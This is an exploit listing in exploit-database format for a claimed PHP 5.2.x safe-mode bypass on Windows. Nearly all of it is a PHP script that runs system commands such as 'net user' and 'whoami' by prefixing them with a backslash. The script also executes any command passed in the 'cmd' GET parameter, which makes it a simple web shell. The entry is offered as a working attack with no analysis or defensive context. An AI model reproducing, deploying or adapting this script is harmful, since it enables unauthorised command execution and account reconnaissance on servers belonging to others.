|
# Exploit Title: PHP 5.2.x <= Safe Mode Windows Bypass Exploit
# Date: 2016-09-13
# Exploit Author: Meisam Monsef meisamrce@yahoo.com or meisamrce@gmail.com
# Vendor Homepage: http:
# Download : http:
# Tested : Windows 10 , Windows 8.1 ,Windows 8 ,Windows 7 , Windows Vista , Windows XP
# Version: PHP <= 5.2.x (All Version less then 5.2.x )
Exploit :
<?php
system('\dir');
system('\net user');
print passthru ('\ipconfig');
exec('\whoami',$a);
print_r($a);
$cmd = '\\'.$_GET['cmd'];
system($cmd);
?>
|